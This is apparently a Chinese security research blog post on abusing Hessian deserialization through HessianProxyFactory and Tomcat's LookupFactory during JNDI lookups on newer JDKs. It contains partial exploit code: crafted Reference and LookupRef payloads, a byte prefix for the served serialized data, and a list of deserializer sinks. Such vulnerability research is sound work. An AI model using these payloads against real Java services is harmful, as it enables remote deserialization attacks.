HessianProxy
浅蓝师傅在 探索高版本 JDK 下 JNDI 漏洞的利用方法 中提到过HessianProxyFactory这个工厂类。可以触发Hessian反序列化。
getObjectInstance
代码如下:
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
Reference ref = (Reference) obj;
String api = null;
String url = null;
for (int i = 0; i < ref.size(); i++) {
RefAddr addr = ref.get(i);
String type = addr.getType();
String value = (String) addr.getContent();
if (type.equals("type"))
api = value;
else if (type.equals("url"))
url = value;
.........
}
.........
Class apiClass = Class.forName(api, false, _loader);
return create(apiClass, url);
}
从reference参数中获取api和url,调用create,代码如下:
public Object create(Class<?> api, URL url, ClassLoader loader) {
if (api == null)
throw new NullPointerException("api must not be null for HessianProxyFactory.create()");
InvocationHandler handler = null;
handler = new HessianProxy(url, this, api);
return Proxy.newProxyInstance(loader,
new Class[] {
api,
HessianRemoteObject.class
},
handler
);
}
传入的api为接口类名,创建了一个动态代理,handler会访问url获取数据。
代理的invoke方法代码如下:
conn = sendRequest(mangleName, args);
is = getInputStream(conn);
......
AbstractHessianInput in;
int code = is.read();
if (code == 'H') {
int major = is.read();
int minor = is.read();
in = _factory.getHessian2Input(is);
Object value = in.readReply(method.getReturnType());
.......
访问url,前三个字节应该是控制版本不需要变。
readReply
方法代码如下:
public Object readReply(Class expectedClass) throws Throwable {
int tag = read();
if (tag == 'R')
return readObject(expectedClass);
else if (tag == 'F') {
HashMap map = (HashMap) readObject(HashMap.class);
throw prepareFault(map);
}
.........
}
expectedClass
是所代理方法的返回值类型。第四个字节为R
则反序列化成expectedClass
,若为F
则反序列化成HashMap
readObject
方法里会根据expectedClass
获取Deserializer
Deserializer reader = findSerializerFactory().getDeserializer(cl);
使用不同的Deserializer
可以将反序列化的结果限制成不同的类型。
主动触发invoke
写一个接口com.demo.LocalTest
package com.demo;
public interface LocalTest {
public void test();
}
发送以下Reference:
Reference ref = new Reference("javax.lang.String", "com.caucho.hessian.client.HessianProxyFactory", null);
ref.add(new StringRefAddr("type", "com.demo.LocalTest"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:7000/exp"));
7000端口HTTP server部署文件/exp
// 将序列化数据添加前缀并写入/exp
String data = "hessian ser data base64 encoded";
byte[] code = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
byteArrayOutputStream.write(new byte[]{72, 2, 0, 82});
// 添加前缀使其进入readObject方法。
byteArrayOutputStream.write(code);
jndi lookup后主动调用test方法:
String url = "ldap://127.0.0.1:1389/test";
InitialContext initialContext = new InitialContext();
LocalTest test = (LocalTest) initialContext.lookup(url);
test.test();
toString入口
如果序列化数据最外层是一个HashMap会调用Deserializer
的readMap
方法
com.demo.LocalTest#test
的返回值为void
根据void
获得的Deserializer
是BasicDeserializer
,这个类的readMap
方法实现如下:
public Object readMap(AbstractHessianInput in) throws IOException {
Object obj = in.readObject();
String className = getClass().getName();
if (obj != null)
throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
else
throw error(className + ": unexpected null value");
}
在readMap
里继续反序列化内部对象不再受到Deserializer
限制,是正常的Hessian反序列化,但无论obj
为什么类型,BasicDeserializer
都不允许,会保存,但throw时可以触发toString
正常Hessian反序列化
原本常规的那些需要hashCode
、equals
触发的Hessian反序列化链需要再套一层HashMap
才行。
其他可利用的Deserializer
既然BasicDeserializer
可以触发toString,那可以找找其他有危险操作的Deserializer
的实现类。
大致找了找:
toString
AbstractListDeserializer#readObject
AbstractMapDeserializer#readObject
BasicDeserializer#readMap
JavaDeserializer
UnsafeDeserializer
equals
AbstractStreamDeserializer#readMap
AbstractStringValueDeserializer#readMap
newInstance
ArrayDeserializer#createArray
BeanDeserializer#instantiate
CollectionDeserializer#createList
JavaDeserializer
SqlDateDeserializer
StringValueDeserializer
UnsafeDeserializer
Method.invoke
BeanDeserializer#readMap
EnumDeserializer#create
JavaDeserializer
UnsafeDeserializer
lookup
RemoteDeserializer
自动触发invoke
上面提到想要触发反序列化需要代用代理的invoke,靠手动触发没什么意义。所以要在lookup
过程中触发代理的invoke。
浅蓝师傅在文章中使用的LookupRef
payload:
LookupRef ref = new LookupRef("java.lang.String","look");
ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory"));
ref.add(new StringRefAddr("type", "java.lang.AutoCloseable"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:7000/exp"));
LookupFactory
的getObjectInstance
方法的代码如下:
if (factory != null) {
result = factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
if (lookupName == null) {
throw new NamingException(sm.getString("lookupFactory.createFailed"));
} else {
result = new InitialContext().lookup(lookupName);
}
}
Class<?> clazz = Class.forName(ref.getClassName());
if (result != null && !clazz.isAssignableFrom(result.getClass())) {
String msg = sm.getString("lookupFactory.typeMismatch",
name, ref.getClassName(), lookupName, result.getClass().getName());
NamingException ne = new NamingException(msg);
log.warn(msg, ne);
// Close the resource we no longer need if we know how to do so
if (result instanceof AutoCloseable) {
try {
((AutoCloseable) result).close();
........
可以将LookupRef
看做是Reference
的Reference
,能够调用代理的AutoCloseable#close
方法。这个方法的返回值为void
,所以能够触发toString
堆栈:
com.demo.Test -> toString
java.lang.String -> valueOf
java.lang.StringBuilder -> append
com.caucho.hessian.io.AbstractDeserializer -> readMap
com.caucho.hessian.io.Hessian2Input -> readObject
com.caucho.hessian.io.Hessian2Input -> readReply
com.caucho.hessian.client.HessianProxy -> invoke
jdk.proxy1.$Proxy0 -> close
org.apache.naming.factory.LookupFactory -> getObjectInstance
javax.naming.spi.DirectoryManager -> getObjectInstance
com.sun.jndi.ldap.LdapCtx -> c_lookup
com.sun.jndi.toolkit.ctx.ComponentContext -> p_lookup
com.sun.jndi.toolkit.ctx.PartialCompositeContext -> lookup
com.sun.jndi.toolkit.url.GenericURLContext -> lookup
com.sun.jndi.url.ldap.ldapURLContext -> lookup
javax.naming.InitialContext -> lookup
但除了LookupRef
配合AutoCloseable
,在jdk17的工厂类和jndi lookup
流程中我没有找到其他的能够触发invoke的地方。
总结
花了不少时间去找能利用的类,感觉这种利用方式意义不大。
但至少能自动触发toString
还是有收获的。